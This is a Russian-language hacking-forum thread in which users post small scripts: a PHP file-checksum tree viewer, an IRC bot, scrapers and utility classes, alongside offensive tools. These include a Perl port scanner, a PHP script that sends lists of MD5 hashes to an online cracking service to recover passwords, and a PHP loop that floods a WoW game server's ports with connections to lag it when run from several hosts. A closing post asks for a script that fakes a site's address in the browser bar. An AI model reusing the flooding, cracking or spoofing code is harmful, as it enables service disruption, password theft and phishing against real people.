
15.09.2007, 20:34
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме: 3493315
Репутация:
1228
|
|
Скрипт проверяет контрольные суммы дерикторий и файлов, и отображает изминения в виде дерева.
PHP код:
<?php
set_time_limit(300);
$SALT = 'sdfsd';
$mysql=array(
'host' => 'localhost',
'user' => 'root',
'pass' => '',
'base' => 'mydb'
);
if (mysql_connect($mysql['host'],$mysql['user'],$mysql['pass']) == false)
die(mysql_error());
@mysql_query('SET NAMES cp1251');
if (mysql_select_db($mysql['base']) == false)
die(mysql_error());
$ALLFILES=array();
/*****************************************************************************************************************************/
function install()
{
mysql_query('DROP TABLE IF EXISTS `controlsumm`');
$qyery='CREATE TABLE `controlsumm` (
`path` VARCHAR(256),
`hesh` VARCHAR(32)
)';
if(mysql_query($qyery))
echo '<center><h2>Таблица `controlsumm` была создана.</h2></center>';
else
echo '<center><h2>Ошибка! не удалось создать таблицу `controlsumm`.</h2></center>';
}
/*****************************************************************************************************************************/
function FileHash($file)
{
GLOBAL $SALT;
$hash=md5($file.$SALT);
$fo=fopen($file,'r');
while(!feof($fo))
{
$content=fread($fo,1024);
$hash=md5($hash.$content);
}
fclose($fo);
return $hash;
}
/*****************************************************************************************************************************/
function kolzn($str, $zn)
{
$kol=0;
$i=strlen($str);
for($j=0;$j<$i;$j++)
if($str[$j] == $zn)
$kol++;
return $kol;
}
/*****************************************************************************************************************************/
function makedamp($dir)
{
GLOBAL $SALT;
$hesh='';
$dirhesh='00000000000000000000000000000000';
$diradesk = opendir($dir);
while(false !== ($name = readdir($diradesk)))
{
if($name == '.' || $name == '..') continue;
if(filetype($dir.'/'.$name) == 'dir')
$hesh=makedamp($dir.'/'.$name);
else
$hesh=FileHash($dir.'/'.$name);
if(!mysql_query('INSERT INTO `controlsumm` VALUES (\''.mysql_escape_string($dir.'/'.$name).'\', \''.$hesh.'\')'))
die(mysql_error());
$dirhesh=md5($hesh.$dirhesh);
}
return md5($dirhesh.$SALT);
}
/*****************************************************************************************************************************/
function checkall($dir)
{
GLOBAL $SALT,$ALLFILES;
$hesh='';
$dirhesh='00000000000000000000000000000000';
$diradesk = opendir($dir);
while(false !== ($name = readdir($diradesk)))
{
if($name == '.' || $name == '..') continue;
if(filetype($dir.'/'.$name) == 'dir')
{
$ALLFILES[$dir.'/'.$name] = 1;;
$hesh=checkall($dir.'/'.$name);
$ALLFILES[$dir.'/'.$name] = $hesh;
}
else
{
$hesh=FileHash($dir.'/'.$name);
$ALLFILES[$dir.'/'.$name] = $hesh;
}
$dirhesh=md5($hesh.$dirhesh);
}
return md5($dirhesh.$SALT);
}
/*****************************************************************************************************************************/
function viewtree()
{
GLOBAL $SALT,$ALLFILES;
checkall('.');
foreach($ALLFILES as $path => $hesh)
{
for($i=kolzn($path, '/');$i>0;$i--)
echo ' | ';
$res=mysql_query('SELECT hesh FROM `controlsumm` WHERE `path`= \''.mysql_escape_string($path).'\' ');
if(!mysql_num_rows($res))
echo '- <font color=009900>'.basename($path).'</font><br>';
else
{
$row=mysql_fetch_array($res, MYSQL_NUM);
if($row[0] != $hesh)
echo '- <font color=990000>'.basename($path).'</font><br>';
else
echo '- '.basename($path).'<br>';
}
}
}
/*****************************************************************************************************************************/
?>
<style>
table.menu{
background-color: #ffffff;
font-size:16px;
color:#000000;
text-align: center;
font-family: Cursive;
border:1px solid #cccccc;
width: 100%;
margin-top:5px;
link: ffffff;
}
td.i {
link: ffffff;
border:1px solid #cccccc;
font-size:13px;
color: #000000;
text-align: center;
color:#333333;
width: 11%;
}
input,SELECT {border:1px solid #cccccc; height: 20px;}
#a{
font-size:11px;
color:#333333;
text-align: center;
font-family: Cursive;
}
a{color:#999999;}
</style>
<script>
function refreshtable()
{
if(confirm('Уверенны что хотите обновить таблицу хэшей?'))
document.location='?p=hesh';
}
function createtable()
{
if(confirm('Уверенны что хотите создать таблицу?'))
document.location='?p=install';
}
</script>
<table width=80% align=center>
<tr><td>
<table class=menu align=center><tr>
<td><a href='?p=tree'>[Дерево]</a></td>
<td><a href='JavaScript:refreshtable()'>[Хэшировать]</a></td>
<td><a href='JavaScript:createtable()'>[Установить]</a></td>
</tr></table>
</td></tr>
<tr><td align=center> <br>
<table style="border:1px solid #cccccc;" width=100%><tr><td align=left>
<?php
switch($_GET['p'])
{
case 'tree': viewtree(); break;
case 'hesh': if(!mysql_query('DELETE FROM `controlsumm`')) die(mysql_error()); makedamp('.'); viewtree();break;
case 'install': install(); break;
default: viewtree();
}
?>
</td></tr></table>
</td></tr>
</table>
|
|
|

16.09.2007, 13:13
|
|
Познающий
Регистрация: 11.04.2007
Сообщений: 43
Провел на форуме: 126798
Репутация:
37
|
|
Hi , I see people post they work here. There is 2 my coded perl scripts.
1. Port scanner:
Код:
#!/usr/bin/perl
# Website: http://saime.biz
# Usage: perl l33t.pl [ip]
use IO::Socket;
my ( $ip, $port, $endport );
$endport=1337; $port=0; # You can edit the endport ....
$ip = $ARGV[0] if $ARGV[0];
$port=$ARGV[1] if $ARGV[1];
$maxport=$ARGV[2] if $ARGV[2];
print "[+]Scaning: $ip\r\n";
foreach (; $port<=$endport; $port++) {
print "\n[+]Port $port is open!" if ( IO::Socket::INET->new(PeerAddr=>"$ip:$port",Proto=>'tcp',Timeout=>1));
}
exit;
2. IRC Bot.
Код:
#!/usr/bin/perl
# Options: !op , !kill , !version , !owner
# Website: http://saime.biz
print "http://saime.biz";
use strict;
use IO::Socket;
use Socket;
my $server = "irc.nitrousirc.net";
my $port= '6667';
my $chanel = "#perl";
my $nick = "King`Of`Noobs";
my $identify = "ohi";
my $name = "Hithere";
my $saime = "Saime";
my $socket = new IO::Socket::INET(PeerAddr => $server, PeerPort => $port, Proto => "tcp") or die "Get a life ?";
print $socket "NICK $nick\r\n";
print $socket "USER $identify 8 * :$name\r\n";
print $socket "JOIN $chanel\r\n";
while (my $body = <$socket>) {
chop $body;
if ($body =~ /^PING(.*)$/i) { print $socket "PONG $1\r\n"; }
if ($body =~ /^.*!version(.*)$/i) { print $socket ("PRIVMSG $chanel Saime's BOT V1.2!\r\n"); }
if ($body =~ /^.*!kill(.*)$/i) { print $socket ("QUIT\r\n"); }
if ($body =~ /^.*!op(.*)$/i) { print $socket ("MODE $chanel op $saime\r\n"); }
if ($body =~ /^.*!owner(.*)$/i) { print $socket ("PRIVMSG $chanel Owner: YourNick\r\n"); }
}
More to come later. 
|
|
|

16.09.2007, 13:23
|
|
Участник форума
Регистрация: 19.05.2007
Сообщений: 228
Провел на форуме: 4325663
Репутация:
240
|
|
Лучшие цитаты дня з башорга. Поставил на сайт, и каждый день свежые приколы.
PHP код:
<?
$file = file_get_contents('http://www.bash.org.ru/best');
$file = preg_match_all('|<div>(.+)</div>|U',$file,$frazes);
for($i=0;$i<11;$i++){
if ($i<>5) echo "<hr>".$frazes[1][$i]."\r\n<hr>";
}
?>
|
|
|
[php] Несколько полезных классов |

29.03.2008, 03:21
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме: 4137635
Репутация:
2407
|
|
[php] Несколько полезных классов
Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится
1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.
2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.
3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.
Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html
|
|
|

10.01.2009, 13:19
|
|
Новичок
Регистрация: 30.06.2008
Сообщений: 26
Провел на форуме: 49719
Репутация:
2
|
|
Сообщение от d_x
Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится
1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.
2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.
3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.
Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html
Перезалейте, пожалуйста, ссылка битая. Очень хочется посмотреть. 
|
|
|

29.03.2008, 03:47
|
|
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
Провел на форуме: 2080216
Репутация:
150
|
|
PHP код:
<?php
set_time_limit(0)or die ("Время работы скрипта ограниченно!");
$in = "hash.txt"; #Файл с хешеми
$out = "crack.txt"; #Файл в которые будут записыватся крякнутые хеши
$hash = file($in) or die ("Не удается открыть файл: ".$in);
$fp = fopen ($out, "a") or die ("Не удается создать файл: ".$out);
for ($x=0;$x<count($hash);$x++):
$sock = fsockopen ("md5.xek.cc", 80);
$send = "POST http://md5.xek.cc/index.php HTTP/1.0\r\n";
$send.= "User-Agent: Opera/9.23 (Windows NT 5.1;U; ru)\r\n";
$send.= "Host: md5.xek.cc\r\n";
$send.= "Accept: text/html image/png image/gif image/jpg\r\n";
$send.= "Accept-Language: ru-Ru,ru;q=0.9,en;q=0.8\r\n";
$send.= "Accept-Charset: iso8859-1, utf-8, utf-16, *;q=0.1\r\n";
$send.= "Accept-Encoding: deflate, gzip, x-gzip, identify, *;q=0\r\n";
$send.= "Referer: http://md5.xek.cc/index.php\r\n";
$send.= "Proxy-Connection: close\r\n";
$send.= "Content-Length: 46\r\n";
$send.= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
$send.= "hash=".trim($hash[$x])."&act=find\r\n\r\n\r\n\r\n";
fputs ($sock, $send);
while (!feof($sock))
{
@$str.= fgets ($sock,1024);
}
$find = preg_match("|(?<=: <b>)(.?)+(?=<\/b>)|",$str,$pass);
for ($z=0;$z<$find;$z++):
fputs($fp,md5(trim($pass[$z])).":".$pass[$z]."\n");
endfor;
$str=0;
endfor;
fclose ($sock);
fclose ($fp);
?>
Парсер md5.xek.cc хеши берет из файла крякнутые записывает тож в файл в таком виде:
c4ca4238a0b923820dcc509a6f75849b:1
Последний раз редактировалось Sleep; 29.03.2008 в 06:50..
|
|
|

29.03.2008, 15:52
|
|
Новичок
Регистрация: 17.03.2008
Сообщений: 4
Провел на форуме: 106766
Репутация:
19
|
|
Простенький скрипт для собирания прокси листов с различных ресурсов. Ищет на страницах по шаблону ip:рort. В файл надо записать адреса сайтов которые будем парсить.
Например:
http://www.nntime.com/socks/index.php?start=1
http://www.nntime.com/socks/index.php?start=25
http://www.nntime.com/socks/index.php?start=49
http://www.nntime.com/socks/index.php?start=73
http://www.nntime.com/socks/index.php?start=97
http://www.nntime.com/socks/index.php?start=121
http://www.nntime.com/socks/index.php?start=145
http://www.nntime.com/socks/index.php?start=169
http://www.nntime.com/socks/index.php?start=193
http://www.nntime.com/socks/index.php?start=217
Линк на скрипт
|
|
|

29.03.2008, 22:17
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
Код:
* И так представляю вашему вниманию класс который парсит BB коды,
класс отличяется тем что очень прост в плане добовления
новых BB кодов а также его легко переделать для работы с БД.
ИНСТРУКЦИЯ по добовлению новых ББ кодов:
BB код представляет из себя массив содержаший в себе
параметры BB кода.
Пример:
'color' => array (
1 => '<font="$1">$2',
2 => '</font>',
3 => '2',
4 => '[ font=x1 ]x2[ /font ]',
),
Ключ массва это имя BB кода,
ВНИМАНИЕ: ключ должен содержать буквы нижнего регистра(МАЛЕНЬКИЕ)
и цифры.
Ключ со значением 1 - это открытие HTML тэга,
а также вы обозначаете $n значение пришедшие от пользователя
с 1 и далее по возростания где n - число
Пример: в теге <font color="red">str</font> 2 значения пришедших
от пользователя это цвет (red) и строка (str)а значит будет так
<font color"$1">$2</font>.
Далее кдюч 2 - закрываюший тэг(Необязатльное поле)
можете его не указывать если тэг закрытый например тэг <hr>.
3ий ключ в массиве это максимальное количество значений которые
должны прийти от пользователя.
И 4ый ключ это как будет выглидеть BB код а где xn опять же
значения от пользоваетя где n - число от 1 и далее
PHP код:
<?php
/**
* @author @FATAL@
* @copyright 2008
*/
class bbcode
{
public $arrcode = array (
'color' => array (
1 => '<font="$1">$2',
2 => '</font>',
3 => '2',
4 => '[font=x1]x2[/font]',
),
'b' => array (
1 => '<b>$1',
2 => '</b>',
3 => '1',
4 => '[b]x1[/b]'
),
'link' => array (
1 => '<a href="http://$1" target="_blank">$2',
2 => '</a>',
3 => '2',
4 => '[link=x1]x2[/link]'
),
'size' => array (
1 => '<font size="$1">$2',
2 => '</font>',
3 => '2',
4 => '[size=x1]x2[/size]'
),
'hr' => array (
1 => '<hr width="$1">',
2 => '',
3 => '1',
4 => '[hr=x1]'
),
'center' => array (
1 => '<div align="center">$1',
2 => '</div>',
3 => '1',
4 => '[center]x1[/center]'
)
);
public function __construct($BBcodes)
{
$this->BBcod($BBcodes);
}
public function BBcod($BBcodes)
{
preg_match_all('#\[(\w+).*?\]#is', $BBcodes, $pock);
$BBcodes = htmlspecialchars($BBcodes);
for ($x = 0; $x <= count($pock['1']); $x++)
{
$BB = strtolower($pock['1'][$x]);
$str = preg_quote($this->arrcode[$BB]['4'], '#');
if (isset($this->arrcode[$BB]))
{
if (strcasecmp($pock['1'][$x], 'link'))
{
$BBcodes = str_ireplace('http://', '', $BBcodes);
}
for ($i = 0; $i <= $this->arrcode[$BB]['3']; $i++)
{
$str = str_replace('x' . $i, '(.+?)', $str);
}
$str = '#' . $str . '#is';
$BBcodes = preg_replace($str, $this->arrcode[$BB]['1'] . $this->arrcode[$BB]['2'],$BBcodes);
}
}
$this->BBcodes = $BBcodes;
}
public function __destruct()
{
return "Идёт уничтожение";
}
}
?>
Сильно не пинайте.. я старался 2 раза переписывал=)
Последний раз редактировалось Doom123; 29.03.2008 в 22:19..
|
|
|

07.04.2008, 22:51
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,205
Провел на форуме: 4778940
Репутация:
1257
|
|
Скрипт грузит сервер WoW. для небольших домашних(в локалке) серверов подходит. загружает проц сервера WoW. (незабываем менять адрес сервера и число в цикле. заливаем на несколько хостов и получаем лаги в игре) ВОЗМОЖНО скрипт доработаю.
PHP код:
<?php
set_time_limit(0);
ob_implicit_flush ();
$ip=gethostbyname('wow.site.com');
echo $ip;
for ($i=0;$i<1000;$i++){
$wows=socket_create(AF_INET,SOCK_STREAM,0);
socket_connect($wows,$ip,3306);
socket_close($wows);
$wows=socket_create(AF_INET,SOCK_STREAM,0);
socket_connect($wows,$ip,3724);
socket_close($wows);
};
?>
|
|
|

09.04.2008, 10:14
|
|
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме: 5209663
Репутация:
357
|
|
А у ково есть такой скрипт чтобы подменять адрес сайта
Например Я на сайте 1.ru, а в адресной строке будит написано: 2.ru
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|